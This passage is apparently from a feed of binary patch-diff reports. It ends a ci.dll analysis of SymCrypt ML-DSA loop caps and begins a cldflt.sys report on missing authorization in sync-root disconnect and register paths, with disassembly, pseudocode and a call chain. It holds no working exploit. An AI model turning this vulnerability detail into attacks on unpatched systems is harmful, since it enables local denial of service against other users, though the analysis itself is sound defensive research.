&lt;span class="mi"&gt;0000000180027399&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180027369&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;
&lt;span class="mi"&gt;000000018002739&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;000000018002739&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;
&lt;span class="mi"&gt;000000018002739&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="mi"&gt;00000001800273&lt;/span&gt;&lt;span class="n"&gt;A3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mi"&gt;00000001800273&lt;/span&gt;&lt;span class="n"&gt;A9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180027369&lt;/span&gt;
&lt;span class="mi"&gt;00000001800273&lt;/span&gt;&lt;span class="n"&gt;AD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8008&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;loc_1800273AD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; (&lt;code&gt;0x18002A17C&lt;/code&gt; -&amp;gt; &lt;code&gt;0x180027128&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;Unpatched loop-back &lt;code&gt;000000018002A2DC  jb  loc_18002A1FB&lt;/code&gt; has no counter; a sampled nibble equal to &lt;code&gt;0x80&lt;/code&gt; (&lt;code&gt;000000018002A292  cmp r8b, 80h&lt;/code&gt; / &lt;code&gt;000000018002A2B4  cmp dl, 80h&lt;/code&gt;) skips the store without advancing &lt;code&gt;edi&lt;/code&gt;. Patched adds &lt;code&gt;00000001800271A6  cmp esi, 1E1h&lt;/code&gt; / &lt;code&gt;00000001800271AC  jnb loc_1800272A9&lt;/code&gt; and sets &lt;code&gt;00000001800272A9  mov edi, 8008h&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt; (&lt;code&gt;0x18002A3F8&lt;/code&gt; -&amp;gt; &lt;code&gt;0x1800273E0&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;Unpatched inner loop &lt;code&gt;000000018002A4D2  ja loc_18002A4B6&lt;/code&gt; re-reads a byte until it is &lt;code&gt;&amp;lt;=&lt;/code&gt; the running threshold &lt;code&gt;ebx&lt;/code&gt;, with no counter. Patched adds &lt;code&gt;000000018002749E  cmp edi, 79h&lt;/code&gt; / &lt;code&gt;00000001800274A1  jnb loc_180027502&lt;/code&gt; with &lt;code&gt;0000000180027502  mov r14d, 8008h&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;All sampled values in these three functions originate from &lt;code&gt;SymCryptKeccakExtract&lt;/code&gt; on a sponge seeded earlier in the same function; none originate directly from the caller's input buffer.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Reachability and Trigger Analysis&lt;/h2&gt;
&lt;p&gt;The three functions are reachable from two contexts in &lt;code&gt;ci.dll&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;SymCryptMlDsaSelftest&lt;/code&gt; (&lt;code&gt;0x180022158&lt;/code&gt;)&lt;/strong&gt; runs the SymCrypt FIPS self-test on hardcoded known-answer vectors (&lt;code&gt;rgbMlDsaKeyPrivateSeed&lt;/code&gt;, &lt;code&gt;rgbMlDsaSelfTestSignature&lt;/code&gt;, &lt;code&gt;rgbMlDsaSelfTestMessage&lt;/code&gt;). This input is a compile-time constant, not attacker-controlled.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;HashpVerifyMldsaSignature&lt;/code&gt; (&lt;code&gt;0x180087408&lt;/code&gt;)&lt;/strong&gt; calls &lt;code&gt;SymCryptMlDsaVerify&lt;/code&gt; (&lt;code&gt;0x180021234&lt;/code&gt;). &lt;code&gt;SymCryptMlDsaVerifyEx&lt;/code&gt; (&lt;code&gt;0x180021278&lt;/code&gt;) decodes the signature and calls &lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt; (&lt;code&gt;0x1800213CB&lt;/code&gt;) to derive the challenge from the signature-supplied hash; the public key decode path (&lt;code&gt;SymCryptMlDsaPkDecode&lt;/code&gt; -&amp;gt; &lt;code&gt;SymCryptMlDsaExpandA&lt;/code&gt;) reaches &lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt;. Here an attacker who supplies a malformed public key or signature controls the sponge seed.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; is reached only through &lt;code&gt;SymCryptMlDsaExpandS&lt;/code&gt;, which runs on the key-generation / signing / private-key-decode path, not on the signature-verification path. It is not reachable from a caller-supplied public key or signature during image verification.&lt;/p&gt;
&lt;p&gt;In every reachable case the attacker controls the sponge seed but not the sponge output. Because rejection sampling over a SHAKE stream terminates almost surely well below these caps, there is no input that drives any of the loops to their bound without a preimage-style break of SHAKE. No attacker-reachable trigger exists.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No exploit primitive.&lt;/strong&gt; The change does not correspond to a reachable hang, memory-safety issue, or logic bypass. The unbounded form terminates on all realistic sponge output; the patched form only guarantees termination on pathological output that no attacker can produce.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No policy or signature-validation change.&lt;/strong&gt; The accept/reject range checks (&lt;code&gt;0x7FE001&lt;/code&gt; = the ML-DSA prime q = 2^23 - 2^13 + 1), the coefficient counts (256), and the surrounding verification logic are identical in both builds. Only the loop bound and the error-return plumbing were added.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nature of the change.&lt;/strong&gt; This is upstream SymCrypt robustness hardening (guaranteeing bounded execution of rejection sampling) delivered to &lt;code&gt;ci.dll&lt;/code&gt; as part of the statically-linked SymCrypt rebuild.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Error-Propagation Changes (same origin)&lt;/h2&gt;
&lt;p&gt;The following callers were updated so that the new &lt;code&gt;0x8008&lt;/code&gt; return code is observed rather than ignored. These are the caller-side half of the same library hardening and carry no independent security impact, because the underlying &lt;code&gt;0x8008&lt;/code&gt; condition is not attacker-reachable:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SymCryptMlDsaExpandA&lt;/code&gt; (&lt;code&gt;0x1800293F4&lt;/code&gt; -&amp;gt; &lt;code&gt;0x180026374&lt;/code&gt;): checks the &lt;code&gt;RejNttPoly&lt;/code&gt; return in its nested loop and exits on error.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SymCryptMlDsaExpandS&lt;/code&gt; (&lt;code&gt;0x180029594&lt;/code&gt; -&amp;gt; &lt;code&gt;0x18002651C&lt;/code&gt;): checks the &lt;code&gt;RejBoundedPoly&lt;/code&gt; return and exits on error.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SymCryptMlDsaPkDecode&lt;/code&gt; (&lt;code&gt;0x180029950&lt;/code&gt; -&amp;gt; &lt;code&gt;0x1800268FC&lt;/code&gt;): checks the &lt;code&gt;ExpandA&lt;/code&gt; return before proceeding.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SymCryptMlDsaSignEx&lt;/code&gt; (&lt;code&gt;0x180020D8C&lt;/code&gt; -&amp;gt; &lt;code&gt;0x180021394&lt;/code&gt;): adds an overall iteration bound and propagates decoder/mask errors (sign path).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SymCryptMlDsaVerifyEx&lt;/code&gt; (&lt;code&gt;0x180021278&lt;/code&gt; -&amp;gt; &lt;code&gt;0x180021890&lt;/code&gt;): propagates the &lt;code&gt;SampleInBall&lt;/code&gt; return.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; (unpatched &lt;code&gt;0x18002A17C&lt;/code&gt; / patched &lt;code&gt;0x180027128&lt;/code&gt;, 0.9187 sim):&lt;/strong&gt; Added fixed iteration cap &lt;code&gt;0x1E1&lt;/code&gt; (481) to the byte/nibble rejection loop, returning &lt;code&gt;0x8008&lt;/code&gt; on exhaustion. Sampled values come from the SHAKE sponge; reached only via the sign/keygen path (&lt;code&gt;ExpandS&lt;/code&gt;). Library hardening, not attacker-reachable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt; (unpatched &lt;code&gt;0x18002A31C&lt;/code&gt; / patched &lt;code&gt;0x1800272EC&lt;/code&gt;, 0.5277 sim):&lt;/strong&gt; Added fixed iteration cap &lt;code&gt;0x12A&lt;/code&gt; (298) to the 3-byte rejection loop, returning &lt;code&gt;0x8008&lt;/code&gt;. Sponge-driven. Library hardening.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt; (unpatched &lt;code&gt;0x18002A3F8&lt;/code&gt; / patched &lt;code&gt;0x1800273E0&lt;/code&gt;, 0.7630 sim):&lt;/strong&gt; Added fixed iteration cap &lt;code&gt;0x79&lt;/code&gt; (121) to the inner rejection loop, returning &lt;code&gt;0x8008&lt;/code&gt;. Sponge-driven. Library hardening.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SymCryptMlDsaExpandA&lt;/code&gt; (unpatched &lt;code&gt;0x1800293F4&lt;/code&gt; / patched &lt;code&gt;0x180026374&lt;/code&gt;, 0.4969 sim):&lt;/strong&gt; Propagates the &lt;code&gt;RejNttPoly&lt;/code&gt; error out of its nested loops. Caller-side plumbing for the above.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SymCryptMlDsaExpandS&lt;/code&gt; (unpatched &lt;code&gt;0x180029594&lt;/code&gt; / patched &lt;code&gt;0x18002651C&lt;/code&gt;, 0.7159 sim):&lt;/strong&gt; Propagates the &lt;code&gt;RejBoundedPoly&lt;/code&gt; error.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SymCryptMlDsaPkDecode&lt;/code&gt; (unpatched &lt;code&gt;0x180029950&lt;/code&gt; / patched &lt;code&gt;0x1800268FC&lt;/code&gt;, 0.9432 sim):&lt;/strong&gt; Checks the &lt;code&gt;ExpandA&lt;/code&gt; return before continuing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SymCryptMlDsaSignEx&lt;/code&gt; (unpatched &lt;code&gt;0x180020D8C&lt;/code&gt; / patched &lt;code&gt;0x180021394&lt;/code&gt;, 0.5245 sim):&lt;/strong&gt; Adds an overall iteration bound plus a NULL check and error propagation on the sign path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SymCryptMlDsaVerifyEx&lt;/code&gt; (unpatched &lt;code&gt;0x180021278&lt;/code&gt; / patched &lt;code&gt;0x180021890&lt;/code&gt;, 0.9432 sim):&lt;/strong&gt; Propagates the &lt;code&gt;SampleInBall&lt;/code&gt; error.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;The remaining changed functions are register reallocations and function relocations caused by the size shift, plus telemetry/error-code adjustments (e.g. DbgPrint value &lt;code&gt;0x2718&lt;/code&gt; -&amp;gt; &lt;code&gt;0x273e&lt;/code&gt;). The &lt;code&gt;CustomKernelSignerLockedEnabled&lt;/code&gt; cluster is not merely staged feature work: its core function &lt;code&gt;SIPolicyAreCustomKernelSignersAllowed&lt;/code&gt; (&lt;code&gt;0x180073964&lt;/code&gt; -&amp;gt; &lt;code&gt;0x1800764A8&lt;/code&gt;) is a genuine trust-decision hardening and is written up as a security-relevant finding in section 1a. The supporting members of that cluster (&lt;code&gt;SIPolicyCheckCustomKernelSignersAllowed&lt;/code&gt; &lt;code&gt;0x18007652C&lt;/code&gt;, the registry handler &lt;code&gt;CipUpdateCustomKernelSignerEnabledState&lt;/code&gt; &lt;code&gt;0x180018DE8&lt;/code&gt;, &lt;code&gt;SIPolicySetCustomKernelSignersLockedEnabled&lt;/code&gt; &lt;code&gt;0x180076558&lt;/code&gt;, and the logging/telemetry call sites at &lt;code&gt;0x1800638fc&lt;/code&gt; and &lt;code&gt;0x1800e2478&lt;/code&gt;) implement the lock byte and its consumers that the finding depends on. The register/relocation and DbgPrint entries are not security-relevant to this diff.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; 0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; 0&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High. The added iteration counters, the &lt;code&gt;0x8008&lt;/code&gt; return, and the caller-side checks are unambiguous in both the disassembly and the decompilation, and match by function content across the relocation. The sponge-seeded data flow (&lt;code&gt;SymCryptKeccakAppend&lt;/code&gt; then &lt;code&gt;SymCryptKeccakExtract&lt;/code&gt;) is explicit in both builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Caveats:&lt;/strong&gt; The functions are genuine post-quantum ML-DSA (Dilithium) rejection-sampling routines statically linked from SymCrypt (&lt;code&gt;0x7FE001&lt;/code&gt; is the ML-DSA prime q; the 256-entry outputs are degree-256 ring elements). They are reachable from &lt;code&gt;HashpVerifyMldsaSignature&lt;/code&gt; with an attacker-controlled seed, but not with attacker-controlled sponge output, which is what a hang would require. The change is therefore classified as library termination hardening with no attacker-reachable security impact.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>cldflt.sys — Missing authorization on feature-gated sync-root disconnect and insert (CWE-862) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/cldflt_021bde84-cldflt-report-20260628-213327.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/cldflt_021bde84-cldflt-report-20260628-213327.html</id><summary type="html">&lt;p&gt;KB5078885&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;cldflt_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;cldflt_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; &lt;code&gt;0.9894&lt;/code&gt; (High)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 998 matched functions, 6 changed functions, 992 identical functions, 0 unmatched functions in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch removes a WIL (Windows Implementation Library) feature-staging gate (&lt;code&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/code&gt;, &lt;code&gt;sub_1C00097A4&lt;/code&gt;) from the cloud sync-root service dispatcher so that the validated code paths are always taken. In the unpatched binary, when that feature is &lt;strong&gt;disabled&lt;/strong&gt;, &lt;code&gt;CldiPortProcessServiceCommands&lt;/code&gt; (&lt;code&gt;sub_1C0060514&lt;/code&gt;) takes legacy branches: it disconnects a sync root through &lt;code&gt;CldSyncDisconnectRootDeprecated&lt;/code&gt; (&lt;code&gt;sub_1C00630E8&lt;/code&gt;), which looks the entry up by an attacker-supplied key and tears it down &lt;strong&gt;without checking the caller-supplied token&lt;/strong&gt;, and it registers a sync root through a raw &lt;code&gt;RtlDeleteElementGenericTableAvl&lt;/code&gt;/&lt;code&gt;RtlInsertElementGenericTableAvl&lt;/code&gt; pair that &lt;strong&gt;skips the owner/token check&lt;/strong&gt; performed by &lt;code&gt;CldiPortInsertSyncRootNoLock&lt;/code&gt; (&lt;code&gt;sub_1C005DDB4&lt;/code&gt;). The patched dispatcher (&lt;code&gt;0x1C00604E4&lt;/code&gt;) deletes both legacy branches and always calls the token-checked &lt;code&gt;CldSyncDisconnectRoot&lt;/code&gt; and the owner/token-validating &lt;code&gt;CldiPortInsertSyncRootNoLock&lt;/code&gt;. The port &lt;code&gt;\CLDMSGPORT&lt;/code&gt; is reachable by any authenticated user, so the disabled-feature path lets a caller tear down or overwrite another sync provider's sync-root state on a shared volume. Severity is Medium: impact is local integrity/denial of service against cloud sync-root state, and it is only reachable while the feature is disabled.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Sync-Root Registration Branch Ordering - No Authorization Change&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; None (not security-relevant)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; N/A&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;CldSyncConnectRoot&lt;/code&gt; (&lt;code&gt;sub_1C0062CC0&lt;/code&gt;, patched &lt;code&gt;0x1C0062BD0&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Analysis:&lt;/strong&gt;
&lt;code&gt;CldSyncConnectRoot&lt;/code&gt; registers cloud sync-root state in a push-lock-protected AVL table. The unpatched version calls &lt;code&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1C00097A4&lt;/code&gt;) to select between two branches, and the patched version (&lt;code&gt;0x1C0062BD0&lt;/code&gt;) removes that call and keeps a single branch. This is &lt;strong&gt;not&lt;/strong&gt; an authorization change: both unpatched branches perform the same ownership check - they compare the existing entry's owner field at offset &lt;code&gt;0x60&lt;/code&gt; (&lt;code&gt;+96&lt;/code&gt;) against &lt;code&gt;a2&lt;/code&gt; and the token at offset &lt;code&gt;0&lt;/code&gt; against &lt;code&gt;a7&lt;/code&gt;, and both reject a mismatch with &lt;code&gt;STATUS_CLOUD_FILE_NOT_IN_SYNC&lt;/code&gt; (&lt;code&gt;0xC000CF09&lt;/code&gt;). The only difference between the two unpatched branches is the ordering of a preliminary test: the feature-disabled branch keys on the reference count at offset &lt;code&gt;0x30&lt;/code&gt; (&lt;code&gt;+48&lt;/code&gt;) first, while the feature-enabled branch keys on whether the owner field at &lt;code&gt;0x60&lt;/code&gt; is &lt;code&gt;NULL&lt;/code&gt; first. The patched function is byte-for-byte equivalent to the unpatched feature-enabled branch. No cross-owner overwrite is possible in either build through this function; the earlier claim of an ownership bypass here is not supported by the binaries.&lt;/p&gt;
&lt;h3&gt;Finding 2: Feature-Gated Missing Authorization in the Service-Command Dispatcher&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Missing/Insufficient Authorization Check (CWE-862)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;CldiPortProcessServiceCommands&lt;/code&gt; (&lt;code&gt;sub_1C0060514&lt;/code&gt;, patched &lt;code&gt;0x1C00604E4&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
&lt;code&gt;CldiPortProcessServiceCommands&lt;/code&gt; is the cloud-files service dispatcher reachable through &lt;code&gt;\CLDMSGPORT&lt;/code&gt;. Both the sync-root &lt;strong&gt;register&lt;/strong&gt; and &lt;strong&gt;disconnect&lt;/strong&gt; operations are gated on the WIL feature toggle &lt;code&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1C00097A4&lt;/code&gt;). When the feature is &lt;strong&gt;enabled&lt;/strong&gt; the dispatcher uses the validated helpers; when it is &lt;strong&gt;disabled&lt;/strong&gt; it uses legacy paths that drop validation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Disconnect path (primary gap):&lt;/strong&gt; enabled → &lt;code&gt;CldSyncDisconnectRoot&lt;/code&gt;, which looks the entry up by key and tears it down only if the caller-supplied token matches the stored token (&lt;code&gt;*entry == a3&lt;/code&gt;), rejecting a mismatch with &lt;code&gt;STATUS_CLOUD_FILE_NOT_SUPPORTED&lt;/code&gt; (&lt;code&gt;0xC000CF0B&lt;/code&gt;). Disabled → &lt;code&gt;CldSyncDisconnectRootDeprecated&lt;/code&gt; (&lt;code&gt;sub_1C00630E8&lt;/code&gt;), which takes no token argument and disconnects whatever entry the key resolves to, &lt;strong&gt;with no token check at all&lt;/strong&gt;. Both the lookup key and the token are read from the user-mode message buffer, and this table (&lt;code&gt;v117+16&lt;/code&gt;) is a per-volume table shared across connections, so on the disabled path a caller who knows only a sync-root key can disconnect another provider's sync root.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Register path (secondary gap):&lt;/strong&gt; enabled → &lt;code&gt;CldiPortInsertSyncRootNoLock&lt;/code&gt; (&lt;code&gt;sub_1C005DDB4&lt;/code&gt;), which rejects an insert when the existing entry has an owner set (offset &lt;code&gt;0x60&lt;/code&gt;) and the token at offset &lt;code&gt;0x18&lt;/code&gt; does not match. Disabled → a raw &lt;code&gt;RtlDeleteElementGenericTableAvl&lt;/code&gt; + &lt;code&gt;RtlInsertElementGenericTableAvl&lt;/code&gt; into the per-connection table at &lt;code&gt;a1+104&lt;/code&gt;, &lt;strong&gt;with no owner/token check&lt;/strong&gt;. This table is bound to a single sync-provider process (see &lt;code&gt;a1+80&lt;/code&gt;), so the impact of the register gap is intra-connection state integrity rather than cross-process.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The patched dispatcher (&lt;code&gt;0x1C00604E4&lt;/code&gt;) removes the feature gate and always calls the validated helpers: &lt;code&gt;CldiPortInsertSyncRootNoLock&lt;/code&gt; (&lt;code&gt;sub_1C005DD94&lt;/code&gt;) on register and &lt;code&gt;CldSyncDisconnectRoot&lt;/code&gt; on disconnect.&lt;/p&gt;
&lt;p&gt;Note: the &lt;code&gt;SrIn&lt;/code&gt; size check is &lt;strong&gt;not&lt;/strong&gt; the vulnerability. Both binaries contain the identical guard that rejects a declared size &lt;code&gt;&amp;lt; 0x18&lt;/code&gt; with &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; (&lt;code&gt;0xC000000D&lt;/code&gt;); it is unchanged by the patch.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call Chain:&lt;/strong&gt;
1. &lt;code&gt;FilterSendMessage(\CLDMSGPORT)&lt;/code&gt; [User Mode]
2. &lt;code&gt;CldiPortNotifyMessage&lt;/code&gt; (&lt;code&gt;sub_1C00501B0&lt;/code&gt;) [MessageNotifyCallback registered via &lt;code&gt;FltCreateCommunicationPort&lt;/code&gt;]
3. &lt;code&gt;CldiPortProcessServiceCommands&lt;/code&gt; (&lt;code&gt;sub_1C0060514&lt;/code&gt;) [service-command dispatcher; feature-gated disconnect/register]&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;CldSyncConnectRoot&lt;/code&gt; (&lt;code&gt;sub_1C0062CC0&lt;/code&gt;) - ownership validated in both branches&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED CldSyncConnectRoot (sub_1c0062cc0) ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// feature disabled: preliminary key on refcount at entry+0x30&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
